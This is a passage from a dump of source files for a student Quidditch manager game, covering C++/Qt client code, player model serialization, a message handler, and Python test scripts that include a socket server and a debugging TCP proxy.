socket.AI_PASSIVE):\n af, socktype, proto, canonname, sa = res\n try:\n s = socket.socket(af, socktype, proto)\n except socket.error as msg:\n s = None\n continue\n try:\n s.bind(sa)\n s.listen(1)\n except socket.error as msg:\n s.close()\n s = None\n continue\n break\n\n if s is None:\n print 'could not open socket'\n return False, False\n\n conn, addr = s.accept()\n return conn, addr\n\n\ndef listen(so):\n left = ''\n while 1:\n data, left = recieve(so, left)\n if not data:\n break\n send(so, data)\n\n\ndef recieve(so, before=''):\n msg = before\n while '\\r\\n' * 2 not in msg:\n msg += so.recv(1024)\n index = msg.find('\\r\\n' * 2)\n m = json.loads(msg[:index])\n l = msg[index + 2:] if msg[index + 2:] != '\\r\\n' else \"\"\n return m, l\n\n\ndef send(so, j):\n so.send(json.dumps(j) + '\\n\\n')\n\nif __name__ == '__main__':\n so, ip = bindto(HOST, PORT)\n if not so:\n so, ip = bindto(HOST, PORT + 1)\n print PORT + 1\n print 'Connected by', ip\n send(so, {'hostname': 'ulb.ac.be'})\n listen(so)\n so.close()\n" }, { "alpha_fraction": 0.6108108162879944, "alphanum_fraction": 0.6120120286941528, "avg_line_length": 35.19565200805664, "blob_id": "6bbde74bd34734659f417bc5dc248080bef1f036", "content_id": "b423f99646f10a262eb6dea657d403ca4ab16ec5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4995, "license_type": "permissive", "max_line_length": 322, "num_lines": 138, "path": "/src/common/models/NonFieldPlayer.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"NonFieldPlayer.h\"\n\nusing namespace std;\n\nNonFieldPlayer::NonFieldPlayer(int vocation, int speed, int force, int agility, int reflexes, int passPrecision, bool wounded, std::vector<Item> inventory, int level, int experience): level_(level), experience_(experience), vocation_(vocation), Player(speed, force, agility, reflexes, passPrecision, wounded, inventory) {}\n\nNonFieldPlayer::NonFieldPlayer(): level_(1), experience_(0), vocation_(0), Player() {}\n\nNonFieldPlayer::NonFieldPlayer(JsonValue * json) {\n JsonDict * player_dict = JDICT(json);\n\n if (player_dict == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n JsonInt * vocation_int = JINT((*player_dict)[\"vocation\"]);\n if (vocation_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int vocation = *vocation_int;\n\n JsonInt * speed_int = JINT((*player_dict)[\"speed\"]);\n if (speed_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int speed = *speed_int;\n\n JsonInt * force_int = JINT((*player_dict)[\"force\"]);\n if (force_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int force = *force_int;\n\n JsonInt * agility_int = JINT((*player_dict)[\"agility\"]);\n if (agility_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int agility = *agility_int;\n\n JsonInt * reflexes_int = JINT((*player_dict)[\"reflexes\"]);\n if (reflexes_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int reflexes = *reflexes_int;\n\n JsonInt * passPrecision_int = JINT((*player_dict)[\"passPrecision\"]);\n if (passPrecision_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int passPrecision = *passPrecision_int;\n\n JsonInt * level_int = JINT((*player_dict)[\"level\"]);\n if (level_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int level = *level_int;\n\n JsonInt * experience_int = JINT((*player_dict)[\"experience\"]);\n if (experience_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n int experience = *experience_int;\n\n JsonBool * wounded_bool = JBOOL((*player_dict)[\"wounded\"]);\n if (wounded_bool == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n bool wounded = *wounded_bool;\n\n JsonList * item_list = JLIST((*player_dict)[\"inventory\"]);\n if (item_list == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n std::vector<Item> inventory;\n for (int i = 0; i < item_list->size(); i++) {\n inventory.push_back(Item((*item_list)[i]));\n }\n\n new (this)NonFieldPlayer(vocation, speed, force, agility, reflexes, passPrecision, wounded, inventory, level, experience);\n}\n\nNonFieldPlayer::~NonFieldPlayer() {}\n\nNonFieldPlayer & NonFieldPlayer::operator=(const Player & player) {\n if (this != &player) {\n speed_ = player.getSpeed();\n force_ = player.getForce();\n agility_ = player.getAgility();\n reflexes_ = player.getReflexes();\n passPrecision_ = player.getPassPrecision();\n wounded_ = player.isWounded();\n inventory_ = player.getInventory();\n }\n return *this;\n}\n\nint NonFieldPlayer::getLevel() {\n return level_;\n}\n\nvoid NonFieldPlayer::changeExperience(int deltaExperience) {\n experience_ += deltaExperience;\n}\n\nvoid NonFieldPlayer::levelUp() {\n level_ += 1;\n}\n\nint NonFieldPlayer::getVocation() {\n return vocation_;\n}\n\nvoid NonFieldPlayer::setVocation(int vocation) {\n vocation_ = vocation;\n}\n\nNonFieldPlayer::operator JsonDict() const {\n JsonDict r;\n r.add(\"vocation\", new JsonInt(vocation_));\n r.add(\"speed\", new JsonInt(speed_));\n r.add(\"force\", new JsonInt(force_));\n r.add(\"agility\", new JsonInt(agility_));\n r.add(\"reflexes\", new JsonInt(reflexes_));\n r.add(\"passPrecision\", new JsonInt(passPrecision_));\n r.add(\"wounded\", new JsonBool(wounded_));\n r.add(\"level\", new JsonInt(level_));\n r.add(\"experience\", new JsonInt(experience_));\n\n JsonList * inventory = new JsonList();\n for (int i = 0; i < inventory_.size(); i++) {\n JsonDict * item = new JsonDict(inventory_[i]);\n inventory->add(item);\n }\n r.add(\"inventory\", inventory);\n\n return r;\n}\n" }, { "alpha_fraction": 0.5569837093353271, "alphanum_fraction": 0.5724079012870789, "avg_line_length": 23.82978630065918, "blob_id": "8051471808c5b6a2cbdb069fa02d24dc167d7f0e", "content_id": "af1a6869feaf9dec0e3598eecd2c2e17ad42a168", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1167, "license_type": "permissive", "max_line_length": 89, "num_lines": 47, "path": "/src/common/lib/test/python/scenarios/challenge.py", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport json\nimport os\nfrom time import sleep\n\nfrom lib import sock, send, recv, coroutine, force_login\n\nHOST = 'localhost'\nPORT = 9001\n\n\ndef user1():\n with sock(HOST, PORT) as s:\n force_login(s, 'a')\n sleep(0.2) # wait for the other user to conect\n send(s, \"challenge\", {'other_username': 'fail'})\n recv(s) # recive fail response\n send(s, \"challenge\", {'other_username': 'b'})\n recv(s) # challenge refused\n send(s, \"challenge\", {'other_username': 'b'})\n recv(s) # match_begin\n\n\ndef user2():\n with sock(HOST, PORT) as s:\n force_login(s, 'b')\n r = recv(s) # recieve challenge\n\n send(s, 'accept_challenge', {'id': 10000}) # accept fake challenge\n recv(s) # recive fail response\n\n send(s, 'refuse_challenge', {'id': r[1]['challenge_id']}) # refuse real challenge\n\n r = recv(s) # recieve challenge\n send(s, 'accept_challenge', {'id': r[1]['challenge_id']}) # refuse real challenge\n\n recv(s) # match_begin\n\n\nif __name__ == '__main__':\n a = coroutine(user1)\n b = coroutine(user2)\n\n a.join()\n b.join()\n" }, { "alpha_fraction": 0.6337224841117859, "alphanum_fraction": 0.6404882073402405, "avg_line_length": 34.556602478027344, "blob_id": "e70351411d7be085527e8486a111bc360124fcba", "content_id": "df7c523cf0c4c06c5d3ed3539c348dbfc46bbbbe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7543, "license_type": "permissive", "max_line_length": 147, "num_lines": 212, "path": "/src/client/gui/loginscreenwidget.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"loginscreenwidget.h\"\n#include <iostream>\n#include <QCoreApplication>\n#include <QFormLayout>\n#include <QPalette>\n#include <QDialogButtonBox>\nusing namespace std;\n\nloginScreenWidget::loginScreenWidget(MainWindow * parent):\n QWidget(parent) {\n parent_ = parent;\n\n //-------------------------BACKGROUND SETTINGS---------------------------\n QVBoxLayout * layout = new QVBoxLayout;\n QLabel * image = new QLabel(this);\n image->setPixmap(QPixmap(ROOT_DIR + \"/images/loginScreen2.png\"));\n layout->addWidget(image);\n this->setLayout(layout);\n\n //----------------------------SIZE SETTINGS---------------------------\n this->setFixedHeight(720);\n this->setFixedWidth(1280);\n\n //----------------------------LINE/BUTTONS---------------------------\n QFrame * fields = new QFrame(this);\n\n QVBoxLayout * fieldsLayout = new QVBoxLayout;\n fields->setFixedHeight(250);\n fields->setFixedWidth(150);\n QLineEdit * userLine_ = new QLineEdit(\"username\", fields);\n userLine_->setSelection(0, 10);\n\n QLineEdit * passLine_ = new QLineEdit(\"password\", fields);\n passLine_->setEchoMode(QLineEdit::Password); // Display bullets instead of char\n\n usernameLine = userLine_;\n passLine = passLine_;\n\n QObject::connect(passLine_, SIGNAL(returnPressed()), this, SLOT(logIn()));\n\n //-------------------------------BUTTONS---------------------------\n creditsButton = new QPushButton(\"Credits\", fields);\n QObject::connect(creditsButton, SIGNAL(clicked()), this, SLOT(showCredits()));\n\n connectButton = new QPushButton(\"Connect\", fields);\n QObject::connect(connectButton, SIGNAL(clicked()), this, SLOT(logIn()));\n\n registerButton = new QPushButton(\"Register\", fields);\n QObject::connect(registerButton, SIGNAL(clicked()), this, SLOT(registerUser()));\n\n quitButton = new QPushButton(\"Quit\", fields);\n QObject::connect(quitButton, SIGNAL(clicked()), this, SLOT(exit()));\n\n //-----------------------CUSTOM SIGNALS CONNECTION--------------------\n\n QObject::connect(parent_, SIGNAL(loginSuccess()), this, SLOT(acceptLogin()));\n QObject::connect(parent_, SIGNAL(loginFailure(int)), this, SLOT(refuseLogin(int)));\n\n QObject::connect(parent_, SIGNAL(registerSuccess()), this, SLOT(acceptRegister()));\n QObject::connect(parent_, SIGNAL(registerFailure(int)), this, SLOT(refuseRegister(int)));\n\n\n //--------------------------ADDS THE WIGETS---------------------------\n fieldsLayout->addWidget(userLine_);\n fieldsLayout->addWidget(passLine_);\n fieldsLayout->addWidget(connectButton);\n fieldsLayout->addWidget(registerButton);\n fieldsLayout->addWidget(creditsButton);\n fieldsLayout->addWidget(quitButton);\n\n fields->setLayout(fieldsLayout);\n fields->move(this->size().width() / 2 - 75, this->size().height() / 2);\n}\nvoid loginScreenWidget::showCredits() {\n QMessageBox::information(this, \"Credits\",\n \"Application créée par Romain, Nikita et Bruno\\nAvec la participation de Tsotne et Cédric\\n\"\n \"Librairie graphique utilisée : Qt 5.2.1\\n\"\n \"Background : http://fanzone.potterish.com/wp-content/gallery/video-game-hp6-playstation-3/edp_ps3_screencap_02.jpg\\n\"\n \"Dans le cadre du cours INFO-F-209\\n\"\n \"En fait, Quidditch c'est du uidditch revisité par Qt\");\n\n}\n\n\nvoid loginScreenWidget::logIn() {\n QString username = usernameLine->text();\n QString password = passLine->text();\n if ((username.isEmpty() && password.isEmpty())or((username == \"username\") && (password == \"password\"))) {\n QMessageBox::warning(this, \"Empty Fields\", \"No username and password given.\");\n }\n else {\n sviews::login(parent_->getSocket(), username.toStdString(), password.toStdString());\n this->disableButtons();\n }\n}\n\nvoid loginScreenWidget::disableButtons() {\n\n connectButton->setDisabled(true);\n registerButton->setDisabled(true);\n creditsButton->setDisabled(true);\n\n connectButton->setStyleSheet(\"color : black;\");\n registerButton->setStyleSheet(\"color : black;\");\n creditsButton->setStyleSheet(\"color : black;\");\n}\nvoid loginScreenWidget::enableButtons() {\n\n connectButton->setEnabled(true);\n registerButton->setEnabled(true);\n creditsButton->setEnabled(true);\n\n connectButton->setStyleSheet(\"color : white;\");\n registerButton->setStyleSheet(\"color : white;\");\n creditsButton->setStyleSheet(\"color : white;\");\n}\n\n\nvoid loginScreenWidget::acceptLogin() {\n this->enableButtons();\n parent_->setNextScreen(MAINMENUSTATE);\n}\n\nvoid loginScreenWidget::refuseLogin(int errorCode) {\n this->enableButtons();\n if (errorCode == 301) {\n QMessageBox::warning(this, \"Incorrect identifiers\", \"Please enter identifiers of a registered account\");\n }\n else if (errorCode == 401) {\n QMessageBox::warning(this, \"Incorrect identifiers\", \"Wrong password\");\n }\n else if (errorCode == 403) {\n QMessageBox::warning(this, \"Already connected\", \"This account is already logged in\");\n }\n else {\n QMessageBox::warning(this, \"Incorrect identifiers\", \"Unknown error\");\n }\n\n connectButton->setStyleSheet(\"color : white;\");\n}\n\nvoid loginScreenWidget::acceptRegister() {\n this->enableButtons();\n parent_->setNextScreen(MAINMENUSTATE);\n}\n\nvoid loginScreenWidget::refuseRegister(int errorCode) {\n this->enableButtons();\n if (errorCode == 402) {\n QMessageBox::warning(this, \"Incorrect identifiers\", \"This account is already registered! Please choose another username\");\n }\n else if (errorCode == 403) {\n QMessageBox::warning(this, \"Already connected\", \"This account is already logged in\");\n }\n else {\n QMessageBox::warning(this, \"Incorrect identifiers\", \"Server unknown error\");\n }\n registerButton->setStyleSheet(\"color : white;\");\n}\n\nvoid loginScreenWidget::registerUser() {\n\n this->disableButtons();\n registerButton->setStyleSheet(\"color : black;\");\n\n QDialog * dialog = new QDialog(this);\n dialog->setWindowTitle(\"New Account\");\n\n QFormLayout form(dialog);\n\n QLineEdit * newUserName = new QLineEdit(dialog);\n QString label = QString(\"Username : \");\n form.addRow(label, newUserName);\n\n QLineEdit * newPassword = new QLineEdit(dialog);\n newPassword->setEchoMode(QLineEdit::Password);\n QString label2 = QString(\"Password : \");\n form.addRow(label2, newPassword);\n\n QLineEdit * newManagerName = new QLineEdit(dialog);\n QString label3 = QString(\"Manager name : \");\n form.addRow(label3, newManagerName);\n\n\n // Add some standard buttons (Cancel/Ok) at the bottom of the dialog\n QDialogButtonBox buttonBox(QDialogButtonBox::Ok | QDialogButtonBox::Cancel,\n Qt::Horizontal, dialog);\n form.addRow(&buttonBox);\n QObject::connect(&buttonBox, SIGNAL(accepted()), dialog, SLOT(accept()));\n QObject::connect(&buttonBox, SIGNAL(rejected()), dialog, SLOT(reject()));\n registerButton->setStyleSheet(\"color : white;\");\n\n // Show the dialog as modal\n QString newID;\n QString newPW;\n QString newName;\n\n if (dialog->exec() == QDialog::Accepted) {\n newID = newUserName->text();\n newPW = newPassword->text();\n newName = newManagerName->text();\n\n sviews::signup(parent_->getSocket(), newID.toStdString(), newName.toStdString(), newPW.toStdString());\n }\n else {\n this->enableButtons();\n }\n}\n\nvoid loginScreenWidget::exit() {\n parent_->close();\n}\n" }, { "alpha_fraction": 0.5423327684402466, "alphanum_fraction": 0.5600947141647339, "avg_line_length": 29.990825653076172, "blob_id": "66c2a41734f31c70c6ebb3c428358e8e9a66ffd6", "content_id": "744f0b91ef65e886669fb80dad16fb531699d7ec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3382, "license_type": "permissive", "max_line_length": 97, "num_lines": 109, "path": "/src/common/lib/test/python/proxy.py", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Some code from [email protected] under the IDC(I Don't Care) license.\n# Modified by Nikita Marchant\n\nimport socket\nimport select\nimport time\nimport sys\n\nBUFFER_LEN = 4096 * 10\nWAIT = 0.0001\n\n\nclass Forward:\n def __init__(self):\n self.forward = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n def start(self, destination):\n try:\n self.forward.connect(destination)\n return self.forward\n except Exception, e:\n print e\n return False\n\n\nclass Proxy:\n\n def __init__(self, listen, forward):\n forward = socket.gethostbyname(forward[0]), forward[1]\n print 'Listening on {0[0]}:{0[1]}.\\nForwarding to {1[0]}:{1[1]}.'.format(listen, forward)\n self.input_list = []\n self.channel = {}\n\n self.forward = forward\n\n self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n self.server.bind(listen)\n self.server.listen(200)\n\n def main_loop(self):\n self.input_list.append(self.server)\n while 1:\n time.sleep(WAIT)\n ss = select.select\n inputready, outputready, exceptready = ss(self.input_list, [], [])\n for self.s in inputready:\n if self.s == self.server:\n self.on_accept()\n break\n\n self.data = self.s.recv(BUFFER_LEN)\n if len(self.data) == 0:\n self.on_close()\n else:\n self.on_recv()\n\n def on_accept(self):\n forward = Forward().start(self.forward)\n clientsock, clientaddr = self.server.accept()\n if forward:\n self.input_list.append(clientsock)\n self.input_list.append(forward)\n self.channel[clientsock] = forward\n self.channel[forward] = clientsock\n print \"{0[0]}:{0[1]} has connected\".format(clientaddr)\n else:\n print \"Can't establish connection with remote server.\",\n print \"Closing connection with client side {0[0]}:{0[1]}\".format(clientaddr)\n clientsock.close()\n\n def on_close(self):\n print \"{0[0]}:{0[1]} has disconnected\".format(self.s.getpeername())\n\n self.input_list.remove(self.s)\n self.input_list.remove(self.channel[self.s])\n out = self.channel[self.s]\n self.channel[out].close()\n self.channel[self.s].close()\n\n del self.channel[out]\n del self.channel[self.s]\n\n def on_recv(self):\n data = self.data.replace('\\r\\n', '\\n')\n if self.s.getpeername() == self.forward:\n sign, color = '↓', '\\x1b[31;1m'\n else:\n sign, color = '↑', '\\x1b[32;1m'\n print '{}{}\\x1b[0m {}'.format(color, sign, repr(data))\n self.channel[self.s].send(data)\n\nif __name__ == '__main__':\n if not len(sys.argv) == 3:\n print 'Bad parameters\\nUsage: {} listen:port target:port' .format(sys.argv[0])\n sys.exit(0)\n listen = sys.argv[1].split(':')\n forward = sys.argv[2].split(':')\n listen[1], forward[1] = int(listen[1]), int(forward[1])\n proxy = Proxy(listen=tuple(listen), forward=tuple(forward))\n try:\n proxy.main_loop()\n except KeyboardInterrupt:\n print \"\\nStopping proxy...\"\n sys.exit(1)\n" }, { "alpha_fraction": 0.6216216087341309, "alphanum_fraction": 0.6216216087341309, "avg_line_length": 13.800000190734863, "blob_id": "fd48abf28d744d415ac03e21e5424b33c89bd034", "content_id": "e917c145ef82b3d0fe39c5d2c4cc796575a615f4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 74, "license_type": "permissive", "max_line_length": 27, "num_lines": 5, "path": "/src/common/lib/exception/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../../options.mk\n\nNAME=libexception\n\ninclude ../../../rules.mk\n" }, { "alpha_fraction": 0.6511628031730652, "alphanum_fraction": 0.7441860437393188, "avg_line_length": 13.333333015441895, "blob_id": "5c1780cf878a069849d2326d7c62c73276c71485", "content_id": "2743e0e96d5d2adf6008b9437112203a5057d40e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 43, "license_type": "permissive", "max_line_length": 33, "num_lines": 3, "path": "/src/README.md", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "\\mainpage Quiddich Manager 2014 !\n\n# Hello\n" }, { "alpha_fraction": 0.6564277410507202, "alphanum_fraction": 0.6729238033294678, "avg_line_length": 26.904762268066406, "blob_id": "58db5679558ec576d3db15158d39f94d54453cec", "content_id": "917bb07042899b364a582d27d41834d47addbae4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1758, "license_type": "permissive", "max_line_length": 149, "num_lines": 63, "path": "/src/common/models/Match.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef MATCH_H\n#define MATCH_H\n\n#include <cmath>\n#include <string>\n#include <typeinfo>\n#include <iostream>\n#include <time.h>\n\n#include \"Club.h\"\n#include \"FieldPlayer.h\"\n#include \"Field.h\"\n#include \"GoldenSnitch.h\"\n#include \"Quaffle.h\"\n#include \"Budger.h\"\n#include \"Case.h\"\n#include \"Position.h\"\n\nenum { KEEPER = 0, CHASER = 1, BEATER = 2, SEEKER = 3}; // 1 KEEPER, 3 CHASERS, 2 BEATERS, 1 SEEKER\n\nenum { host = 0, guest = 1};\n\nenum EndMatch { WIN, LOSE, SURRENDER_WIN, SURRENDER_LOSE};\n\nclass Match {\n\npublic:\n Match(Club * hostClub, Club * guestClub);\n Match(Club * hostClub, Club * guestClub, GoldenSnitch goldenSnitch, Quaffle quaffle, Budger budger1, Budger budger2, int score[2], bool endGame);\n Match(JsonValue * json);\n ~Match();\n void movePlayer(int fromX, int fromY, int toX, int toY);\n int * getScore();\n int addPoint(bool guestTeam, int delta=1);\n void moveBalls(bool & moved, int turnNumber);\n bool newTurn();\n void resolveConflict(Position nextPosition[14], Way playerWays[14], int indexOne, int turnNumber);\n int findIndex(Position nextPosition[14], Position position);\n void movePlayer(Position fromPos, Position toPos);\n void generateFieldPlayers();\n std::string print();\n void generateGrid();\n void getGrid(Case grid[WIDTH][LENGTH]);\n Club * * getClubs();\n operator JsonDict() const;\n bool isGuest(Club * clubs);\n void setWays(bool isGuest, Way playerWays[7]);\n bool setReady(bool isGuest);\n\nprivate:\n bool endGame_ = false;\n FieldPlayer teams_[2][7];\n int score_[2];\n Club * clubs_[2];\n Case grid_[WIDTH][LENGTH];\n GoldenSnitch goldenSnitch_;\n Quaffle quaffle_;\n Budger budgers_[2];\n Way playerWays_[2][7];\n bool ready_[2];\n};\n\n#endif // MATCH_H\n" }, { "alpha_fraction": 0.5715630650520325, "alphanum_fraction": 0.5746233463287354, "avg_line_length": 27.510066986083984, "blob_id": "34d1eafcd69a4a376fd4b5fa75d0965d95d344a1", "content_id": "1ac6566b8a075644a7fe40d50405888cad0f8c20", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4250, "license_type": "permissive", "max_line_length": 184, "num_lines": 149, "path": "/src/client/gui/mainwindow.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"mainwindow.h\"\n#include <iostream>\n\nusing namespace std;\n\nMainWindow::MainWindow(QWidget * parent):\n QWidget(parent) {\n s_ = 0;\n menu_ = NULL;\n match_ = NULL;\n\n //----------------TITLE SETTINGS-----------------------\n this->setWindowTitle(\"Quidditch Manager 2014\");\n this->setWindowIcon(QIcon(QDir::currentPath() + \"/images/logo.png\"));\n\n //-----------------SIZE SETTINGS-----------------------\n this->setFixedHeight(720);\n this->setFixedWidth(1280);\n\n //----------------STYLE SETTINGS-----------------------\n QFile File(ROOT_DIR + \"/stylesheets/stylesheet.qss\");\n File.open(QFile::ReadOnly);\n QString styleSheet = QLatin1String(File.readAll());\n\n this->setStyleSheet(styleSheet);\n\n //-----------------LOGIN SCREEN-----------------------\n loginScreenWidget * login = new loginScreenWidget(this);\n login->show();\n\n //-----------------------CUSTOM SIGNALS CONNECTION--------------------\n QObject::connect(this, SIGNAL(newDefi(std::string *, int)), this, SLOT(getDefi(std::string *, int)));\n\n QObject::connect(this, SIGNAL(playerList(std::vector<NonFieldPlayer *> *)), this, SLOT(recievePlayers(std::vector<NonFieldPlayer *> *)));\n\n\n}\n\nMainWindow::~MainWindow()\n{}\n\nvoid MainWindow::setNextScreen(int nextState, Match * startingMatch, bool isGuest, int matchID) {\n switch (nextState) {\n case LOGINMENUSTATE: {\n loginScreenWidget * login = new loginScreenWidget(this);\n currentWidget = login;\n login->show();\n break;\n }\n case MAINMENUSTATE: {\n if (menu_ != NULL) {\n delete menu_;\n menu_ = NULL;\n }\n menu_ = new MenuWindow(this);\n //currentWidget = menu;\n menu_->show();\n break;\n\n }\n case AUCTIONHOUSESTATE: {\n AuctionHouseWidget * auctionHouse = new AuctionHouseWidget(this);\n currentWidget = auctionHouse;\n auctionHouse->show();\n break;\n }\n case TEAMHANDLINGSTATE: {\n TeamHandlingWidget * teamHandling = new TeamHandlingWidget(this);\n currentWidget = teamHandling;\n teamHandling->show();\n break;\n }\n case MATCHSTATE: {\n if (match_ != NULL) {\n delete match_;\n match_ = NULL;\n }\n match_ = new MatchWidget(startingMatch, isGuest, matchID, this);\n //currentWidget = match;\n //match->show();\n break;\n }\n case INFRASTRUCTURESTATE: {\n InfrastructureWidget * infrastructure = new InfrastructureWidget(this);\n currentWidget = infrastructure;\n infrastructure->show();\n break;\n\n }\n }\n\n}\n\nQWidget * MainWindow::getCurrentWidget() {\n return currentWidget;\n}\n\n\nvoid MainWindow::closeEvent(QCloseEvent * event) {\n event->accept();\n if (QMessageBox::question(this, tr(\"Disconnection\"), tr(\"Do you really want to quit?\"), QMessageBox::Yes | QMessageBox::Cancel, QMessageBox::Yes) == QMessageBox::Yes) {\n event->accept();\n }\n else {\n event->ignore();\n }\n}\n\nvoid MainWindow::askPlayers() {\n sviews::playerlist(this->getSocket());\n}\n\nvoid MainWindow::recievePlayers(std::vector<NonFieldPlayer *> * players) {\n playersList = *players;\n this->setNextScreen(TEAMHANDLINGSTATE);\n}\n\nvector<NonFieldPlayer *> MainWindow::getPlayers() {\n return playersList;\n}\n\n\nvoid MainWindow::getDefi(string * username, int matchID) {\n int accept = QMessageBox::question(this, \"Challenge\", QString::fromStdString(*username) + \" is challenging you.\\nDo you accept the challenge?\", QMessageBox::Yes | QMessageBox::No);\n if (accept == QMessageBox::Yes) {\n sviews::acceptChallenge(this->s_, *username, matchID);\n }\n else if (accept == QMessageBox::No) {\n sviews::refuseChallenge(this->s_, *username, matchID);\n }\n delete username;\n username = NULL;\n}\n\nvoid MainWindow::setSocket(Socket * s) {\n s_ = s;\n}\n\nSocket * MainWindow::getSocket() {\n return s_;\n}\n\nbool MainWindow::isFirstMenu() {\n return firstMenu;\n}\n\nvoid MainWindow::setFirstMenu(bool menu) {\n firstMenu = menu;\n}\n" }, { "alpha_fraction": 0.5653610229492188, "alphanum_fraction": 0.5677206516265869, "avg_line_length": 21.78494644165039, "blob_id": "9d3f63998410e0d941eb89d803f756e63d81331d", "content_id": "d085c0f16c96b0f2ddec5dfe804c25e88455dc91", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2119, "license_type": "permissive", "max_line_length": 82, "num_lines": 93, "path": "/src/client/receive-views/serverhandler.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"serverhandler.h\"\n\nusing namespace std;\n\n\nconst map<string, view_ptr> ServerHandler::viewmap = {\n {\"login\", rviews::login},\n {\"register\", rviews::signup},\n {\"userlist\", rviews::userlist},\n {\"playerlist\", rviews::playerlist},\n {\"startMatch\", rviews::startMatch},\n {\"challenge\", rviews::challenge},\n {\"end_match\", rviews::endMatch},\n {\"updateMatch\", rviews::updateMatch}\n};\n\nServerHandler::ServerHandler(string host, const int port, MainWindow * window) {\n host_ = host;\n port_ = port;\n s_ = NULL;\n window_ = window;\n}\n\nServerHandler::~ServerHandler() {\n if (s_ != NULL) {\n delete s_;\n }\n}\n\nbool ServerHandler::connect_socket() {\n try {\n s_ = new Socket(host_, port_);\n }\n catch (...) {\n return false;\n }\n window_->setSocket(s_);\n return true;\n}\n\nvoid ServerHandler::send(string message) {\n if (s_ == NULL) {\n throw SocketError(\"Unitialized socket\");\n }\n s_->write(message);\n}\n\nint ServerHandler::recieve(string & message) {\n if (s_ == NULL) {\n throw SocketError(\"Unitialized socket\");\n }\n return s_->read(message);\n}\n\nvoid ServerHandler::handleMessage(string message) {\n string key;\n\n message = split_message(&key, message);\n try {\n try {\n ServerHandler::viewmap.at (key)(JsonValue::fromString(message), this);\n }\n catch (const std::out_of_range & oor) {\n cout << \"Unknown topic : '\" + key + \"'\" << endl;\n }\n }\n catch (const BadRequest & br) {\n cout << \"Bad request : \" << br.what() << endl;\n }\n catch (const ParseError & pe) {\n cout << \"Parse error : \" << pe.what() << endl;\n }\n}\n\nint ServerHandler::loop() {\n string message;\n while (1) {\n if (s_->read(message) != 1) {\n return 0;\n }\n handleMessage(message);\n }\n}\n\nMainWindow * ServerHandler::getWindow() {\n return window_;\n}\n\nstring split_message(string * key, string message) {\n size_t found = message.find(':');\n *key = message.substr(0, found);\n return message.substr(found + 1, message.length());\n}\n" }, { "alpha_fraction": 0.6932084560394287, "alphanum_fraction": 0.6932084560394287, "avg_line_length": 25.6875, "blob_id": "8165f35301ae0ff5d44495e044ae906226a5622a", "content_id": "bd3d0d4074194904ccf8263dbbc4e1a8b4b431d7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 427, "license_type": "permissive", "max_line_length": 182, "num_lines": 16, "path": "/src/common/lib/json/ParseError.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef PARSEERROR\n#define PARSEERROR\n\n#include <iostream>\n#include <sstream>\n#include <exception>\n#include <stdexcept>\n\n#define PARSE_ERROR(message, position) ParseError(std::string(message) + \" in \" + std::string(__FILE__) + \":\" + std::to_string(__LINE__) + \" at position \" + std::to_string(position))\n\nclass ParseError: public std::runtime_error {\npublic:\n ParseError(std::string message=\"Json parse error.\");\n};\n\n#endif\n" }, { 